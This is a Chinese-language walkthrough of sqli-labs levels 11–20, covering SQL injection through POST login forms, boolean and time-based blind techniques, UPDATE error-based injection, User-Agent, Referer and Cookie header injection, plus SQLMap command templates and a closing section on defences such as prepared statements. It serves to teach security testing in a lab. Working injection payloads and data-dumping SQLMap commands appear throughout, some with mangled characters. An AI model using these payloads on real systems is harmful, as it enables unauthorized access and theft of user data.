SQL注入进阶:从POST登录到HTTP头注入的攻防实战

发布时间:2026/8/12 13:09:22
SQL注入进阶:从POST登录到HTTP头注入的攻防实战 1. 从登录框到文件上传Less 11-20 的攻防实战全景如果你已经跟着我一起拿下了 sqli-labs 的前十关那么恭喜你你已经跨过了 SQL 注入的“新手村”。从 Less 11 开始整个游戏的性质就变了。前面的关卡我们面对的是一个又一个孤立的、参数明确的输入点像是靶场里固定好的靶子。而从第 11 关起我们进入的是一个更贴近真实世界的“模拟战场”登录框、Cookie、HTTP 头、文件上传点。攻击面不再单一防御机制也开始出现你需要像一个真正的渗透测试员一样去思考、去迂回、去组合利用各种技巧。这十关不仅仅是 SQL 注入技术的深化更是一场关于 Web 应用安全思维的全面训练。今天我就带你一起把这十关的“通关秘籍”掰开揉碎了讲清楚不止是 payload更是背后的逻辑和实战中可能遇到的坑。2. 核心思路转变从参数注入到多维攻击在 Less 1-10 中我们主要与GET参数打交道注入点相对直观。而从 Less 11 开始场景变得复杂我们的攻击思路必须随之升级。2.1 攻击向量多元化攻击不再局限于 URL 中的id参数。我们将面对POST 请求体注入 (Less 11, 12)数据通过表单提交隐藏在 HTTP 请求的 body 中不可见于 URL。你需要使用 Burp Suite、HackBar 或直接编写 Python 脚本进行测试。Cookie 注入 (Less 19, 20)应用程序将用户标识如Uagent,uname存储在 Cookie 中并在后端直接用于数据库查询。这常常是开发人员容易忽略的“信任边界”。HTTP 头部注入 (Less 18, 19)User-Agent和Referer等 HTTP 头部信息被记录到数据库。攻击者可以伪造这些头部来实施注入。二次注入 (Less 24)虽然不在本次 11-20 关但思维一脉相承。用户输入先被存入数据库经过转义或过滤之后在另一个上下文中从数据库读出并被使用时仍能触发注入。2.2 防御机制初现与绕过从 Less 11 起部分关卡开始引入简单的防御例如引号过滤或转义代码可能使用mysql_real_escape_string()或addslashes()函数处理输入。我们的 payload 需要相应调整比如寻找数字型注入点或使用编码、注释等手段绕过。错误信息屏蔽页面可能不再显示详细的数据库错误信息迫使我们从“基于错误的注入”转向“基于布尔”或“基于时间”的盲注。这对我们的耐心和技巧是更大的考验。2.3 工具链的深化使用单纯依靠浏览器地址栏已经不够了。你必须熟练掌握Burp Suite Repeater/Intruder用于拦截、修改和重放 POST 请求、Cookie 和头部并进行自动化模糊测试与爆破。SQLMap在手动理解注入点后可以利用 SQLMap 进行自动化利用获取数据。理解其--data,--cookie,--headers等参数至关重要。Python/脚本编写对于盲注编写一个简单的脚本来自动化请求和判断能极大提升效率。注意在真实测试中务必在授权范围内进行。本文所有操作均在 sqli-labs 这类特意构建的、合法的靶场环境中完成用于学习安全技术。3. 关卡精解与实战拆解 (Less 11 - Less 20)下面我们逐关深入不仅给出通关 payload更重点分析每关的独特之处、测试思路和可能遇到的陷阱。3.1 Less 11 12POST 登录框注入入门关卡特点这是一个经典的登录表单使用POST方法提交用户名和密码。这是 Web 安全中最常见的场景之一。测试思路判断注入点在用户名或密码框输入单引号‘提交后观察页面回显。如果出现 SQL 语法错误则证明存在注入点。Less 11 通常会在用户名处报错。判断字段数使用‘ order by [数字] --在 POST 数据中测试。例如在 Burp Suite 的 Repeater 中将请求体改为unameadmin‘ order by 3 --passwd1。通过不断递增数字直到页面返回异常来确定查询语句中的列数。确定回显点使用联合查询‘ union select 1,2 --。如果字段数是2且页面某处显示了1或2则说明该位置可以用于回显我们查询的数据。获取数据将回显点替换为需要的函数如‘ union select database(), version() --。Less 11 通关 Payload (基于错误的字符型注入)用户名admin‘ or ‘1‘‘1 密码任意原理构造的 SQL 语句可能为SELECT * FROM users WHERE username‘admin‘ or ‘1‘‘1‘ AND password‘...‘。由于‘1‘‘1‘恒真OR运算符使得整个WHERE条件为真从而绕过认证。Less 12 通关 Payload (基于错误的带括号字符型注入)用户名admin“) or (“1”)“1 密码任意原理这一关的 SQL 语句可能形如SELECT * FROM users WHERE (username‘...‘) AND (password‘...‘)。我们通过闭合前面的双引号和括号并构造恒真条件来达成注入。注意这里使用了双引号“和括号)。实操心得Burp Suite 是关键拦截登录请求在 Repeater 中修改uname和passwd参数比在浏览器表单里反复输入方便得多。注意编码在 Burp Suite 或脚本中号有时需要替换为%2B空格有时需要替换为%20或具体看服务端如何解析。--中的就是为了注释掉后面的空格和原有 SQL。错误信息是宝藏仔细阅读错误信息它能告诉你 SQL 语句的原始结构比如有没有括号用的是单引号还是双引号这是构造正确 payload 的指南针。3.2 Less 13 14POST 盲注的敲门砖关卡特点同样是登录框但页面不再输出数据库错误信息也无法进行联合查询回显数据。你只能通过页面返回的不同状态登录成功/失败来推断信息。这是基于布尔的盲注。测试思路验证盲注存在输入一个肯定为真的条件和一个肯定为假的条件观察页面反应。真admin‘) and 11 --(页面可能显示登录失败但重点是看与假条件的区别)假admin‘) and 12 --如果两个请求返回的页面内容如标题、细微提示、响应长度有差异则布尔盲注可行。逐位猜解数据利用substring()或mid()函数以及ascii()函数将数据如数据库名的每一个字符转换为 ASCII 码然后通过and ascii(substring(database(),1,1))100这样的条件通过二分法 来逐个字符猜解。substring(database(),1,1)获取数据库名第一个字符。ascii(...)将其转为 ASCII 码值。100判断该值是否大于 100。根据页面返回是真还是假不断调整数值二分法50 75最终确定精确的 ASCII 码再转换为字符。Less 13 通关 Payload (基于布尔的带括号盲注) 目标绕过登录。我们不需要知道具体数据只需构造一个恒真条件。用户名admin‘) or (‘1‘)‘1 密码任意原理与 Less 12 类似通过闭合括号和引号插入一个恒真的OR条件。手动盲注示例 (猜解数据库名第一个字符) 假设我们通过测试知道当条件为真时页面返回“Login failed”为假时返回“Something else”。 我们在 Burp Suite Intruder 中设置攻击攻击类型Sniper载荷位置unameadmin‘) and ascii(substring(database(),1,1))§§ --passwd1载荷类型Numbers从 65 (A) 到 122 (z)步长为 1。发起攻击后查看哪个请求的返回页面与“条件为真”的状态一致该载荷对应的数字就是第一个字符的 ASCII 码。实操心得响应差异比对使用 Burp Suite 的Comparer功能或直接观察响应长度Length比肉眼比对 HTML 内容更可靠。二分法效率手动猜解时用二分法猜 100? 是 - 150? 否 - 125? ...比从 65 开始逐个尝试快得多。上工具对于真正的盲注强烈建议使用 SQLMap 或编写 Python 脚本。手动完成整个数据库的猜解极其耗时。例如 SQLMap 命令sqlmap -u “http://靶场地址/less-13/” --data“unameadminpasswd1” --level3 --risk2 --techniqueB --batch3.3 Less 15 16时间盲注的初体验关卡特点页面在任何情况下真或假返回的内容看起来都完全一样布尔盲注失效。此时我们需要利用基于时间的盲注。通过让数据库执行一个延时函数根据页面响应时间的长短来判断注入条件是否成立。核心函数sleep(seconds)或benchmark(count, expr)。if(condition, true_part, false_part)条件判断函数。测试思路验证时间注入提交admin‘) and sleep(5) --。如果页面响应大约延迟了 5 秒则证明时间注入可行。构造时间判断逻辑使用if()函数将条件判断与延时绑定。示例 Payload:admin‘) and if(ascii(substring(database(),1,1))100, sleep(5), 1) --如果第一个字符的 ASCII 码大于 100则数据库会睡眠 5 秒页面响应变慢否则立即返回。Less 15 通关 Payload (基于时间的单引号盲注)用户名admin‘ or sleep(5) -- 密码任意原理OR运算符使得整个条件为真sleep(5)一定会被执行从而造成页面延迟间接证明注入存在。要获取数据需要结合if()函数。时间盲注手动测试技巧使用计时器在浏览器开发者工具的 Network 面板或 Burp Suite 的 Repeater 响应时间栏观察Response time。设置合理延时初始测试用sleep(3)或sleep(5)确保网络波动下也能明显区分。正式猜解时可以用sleep(2)提高效率。注意网络影响时间盲注受网络延迟影响大需要设置一个时间阈值如响应时间 3 秒则认为sleep执行了。SQLMap 自动化 时间盲注是 SQLMap 的强项。使用--techniqueT指定时间盲注技术。sqlmap -u “http://靶场地址/less-15/” --data“unameadminpasswd1” --techniqueT --time-sec5 --batch--time-sec5设置延时秒数。3.4 Less 17UPDATE 语句注入与密码重置关卡特点这是一个“忘记密码”或“修改密码”的功能点。注入发生在UPDATE语句中通常形式为UPDATE users SET password‘新密码‘ WHERE username‘输入的用户名‘。这是一个非常危险且常见的漏洞场景。攻击思路找到注入点在用户名输入框尝试admin‘可能会报错。利用报错注入UPDATE语句注入常与报错注入结合使用因为可能没有直接的查询结果回显。使用extractvalue()或updatexml()函数。extractvalue(目标XML文档, XML路径)第二个参数如果包含非法 XPath 格式会报错并将非法路径的内容输出到错误信息中。Payload 构造admin‘ and extractvalue(1, concat(‘~‘, (select database()), ‘~‘)) --原理concat(‘~‘, (select database()), ‘~‘)会生成类似~security~的字符串。extractvalue(1, ‘~security~‘)会因‘~security~‘不是合法 XPath 而报错错误信息中通常会包含这个字符串从而泄露数据。Less 17 通关 Payload (报错注入)用户名admin‘ and extractvalue(1, concat(‘~‘, (select database()), ‘~‘)) -- 新密码任意如 123提交后查看页面返回的错误信息你很可能看到类似‘~security~‘的内容。实操心得理解上下文UPDATE注入的 payload 需要确保原 SQL 语句语法正确。我们通常在WHERE子句后添加and [注入语句]这样既能保持UPDATE执行可能修改了所有用户密码在靶场没关系又能触发我们的注入。报错信息长度限制extractvalue()和updatexml()报错输出的信息长度有限制约 32 个字符。如果要提取长数据如表内容需要用substring()或limit分多次提取。危害极大在真实场景中UPDATE 注入可以直接修改其他用户的数据如密码、邮箱、余额等危害等级通常为“高危”或“严重”。3.5 Less 18 19HTTP 头部注入的奇袭关卡特点这两关将用户输入User-Agent和Referer直接插入数据库查询语句。攻击者通过伪造 HTTP 请求头部进行注入。Less 18 (User-Agent 注入)场景登录成功后页面显示了你的User-Agent信息。这说明后端将$_SERVER[‘HTTP_USER_AGENT‘]存入了数据库。攻击使用 Burp Suite 拦截登录成功的请求修改User-Agent头部的值。Payload因为User-Agent通常被引号包裹插入 SQL所以是字符型注入。User-Agent: Mozilla/5.0 ...‘ updatexml(1, concat(‘~‘, database(), ‘~‘), 1) ‘注意这里使用了号进行字符串拼接在某些数据库如 MySQL 中可用。更通用的方法是使用注释‘, updatexml(1, concat(‘~‘, database(), ‘~‘), 1), ‘ ‘) --但需要了解具体的 SQL 语句结构。Less 19 (Referer 注入)场景登录后页面显示了Referer信息。攻击拦截登录请求或登录后跳转的任何请求修改Referer头部的值。Payload与 Less 18 类似。Referer: http://靶场地址/less-19/‘ extractvalue(1, concat(‘~‘, version(), ‘~‘)) ‘实操心得抓对请求Less 18 的注入点在登录请求的User-Agent而 Less 19 的注入点可能在登录请求也可能在登录后刷新页面的请求的Referer。需要仔细测试。注意头部格式修改头部时确保其值仍然是合法的字符串格式避免破坏整个 HTTP 请求。工具自动化SQLMap 同样支持头部注入使用--headers参数。例如sqlmap -u “http://靶场地址/less-19/” --data“unameadminpasswdadmin” --headers“Referer: http://test.com“ --batch --level3。--level3会检测Referer和User-Agent。3.6 Less 20Cookie 注入与信任边界关卡特点登录后服务器将用户名uname设置在了 Cookie 中。后续请求直接使用 Cookie 中的值进行数据库查询以此识别用户身份。如果这个值未经妥善处理就直接拼入 SQL就形成了 Cookie 注入。攻击流程正常使用admin/admin登录。登录成功后浏览器会收到一个包含uname的 Cookie例如unameadmin。使用 Burp Suite 拦截对主页的任何请求如刷新页面。修改 Cookie 头中的uname值进行注入。Cookie: unameadmin‘ union select 1, database(), version() --发送请求页面可能会将数据库名和版本号显示在原本显示用户名的地方。原理后端代码可能类似于$sql “SELECT * FROM users WHERE username‘“ . $_COOKIE[‘uname‘] . “‘“;。我们通过修改 Cookie完全控制了注入点的输入。实操心得与陷阱“信任”的陷阱Cookie 常被开发者视为“安全”的因为它是服务器发给客户端的从而放松了警惕。这是非常错误的观念。任何来自客户端的输入都不可信包括 Cookie、HTTP 头部、隐藏表单域等。影响范围广Cookie 注入一旦成功攻击者可以盗取任何登录用户的会话因为可以伪造其他用户的uname危害极大。测试方法除了手动修改也可以用 SQLMap 的--cookie参数sqlmap -u “http://靶场地址/less-20/” --cookie“unameadmin” --level2 --batch。4. 工具进阶SQLMap 在多维注入中的实战命令手动理解原理是关键但实战中效率同样重要。以下是针对这些关卡类型的 SQLMap 常用命令模板1. POST 数据注入 (Less 11, 12, 13, 14, 15, 16, 17)sqlmap -u “http://靶场地址/less-11/” --data“unameadminpasswd1” --batch--data指定 POST 请求体。2. Cookie 注入 (Less 20)sqlmap -u “http://靶场地址/less-20/” --cookie“unameadmin” --level2 --batch--level2默认级别 1 不测试 Cookie级别 2 会测试 Cookie。3. HTTP 头部注入 (Less 18, 19)# 测试 User-Agent 和 Referer sqlmap -u “http://靶场地址/less-18/” --data“unameadminpasswdadmin” --level3 --risk2 --batch--level3会测试User-Agent和Referer头部。--risk2启用风险更高的测试如OR布尔注入。4. 指定注入技术--techniqueB布尔盲注 (Less 13, 14)--techniqueT时间盲注 (Less 15, 16)--techniqueE报错注入 (Less 17)5. 获取数据--current-db当前数据库--dbs所有数据库-D security --tablessecurity库的所有表-D security -T users --columnsusers表的所有列-D security -T users -C username,password --dump导出username和password列的数据。重要提示使用 SQLMap 时务必先通过手动测试确认注入点类型和大致位置再用-p参数指定参数如-p “uname“避免盲目扫描对服务器造成过大压力或触发防护。5. 防御视角从攻击中学习安全编码通关不是目的从攻击中理解防御才是。针对这十关暴露的问题开发者应做到最小权限原则数据库连接账户不应拥有root或DBA权限只赋予其应用所需的最小权限。预编译语句参数化查询这是防止 SQL 注入最根本、最有效的方法。使用PDO(PHP) 或PreparedStatement(Java) 等将 SQL 语句结构与数据分离。// PHP PDO 示例 $stmt $pdo-prepare(‘SELECT * FROM users WHERE username :username AND password :password‘); $stmt-execute([‘username‘ $uname, ‘password‘ $passwd]);输入验证与过滤在允许的范围内对输入进行严格的白名单验证如用户名只允许字母数字。对于无法白名单的进行适当的转义但不要依赖它作为主要防御。对不可信数据一视同仁无论是GET、POST、Cookie、Header只要是来自客户端都必须经过严格的验证和处理。错误信息处理生产环境应禁用或规范化数据库错误信息避免向用户泄露敏感信息如表结构、SQL 语句片段。使用 Web 应用防火墙部署 WAF 可以帮助拦截常见的攻击模式作为纵深防御的一环。通关 Less 11 到 Less 20你完成的不仅仅是一系列 SQL 注入技巧的练习更是一次对 Web 应用攻击面和安全边界的深刻认知。从简单的输入框到复杂的 HTTP 协议各个部分攻击者的视角无处不在。而作为防御者必须建立起“所有输入皆有害”的零信任思维。建议你在完成这些关卡后尝试用安全的编码方式去重写这些有漏洞的页面这才是将知识内化的最好途径。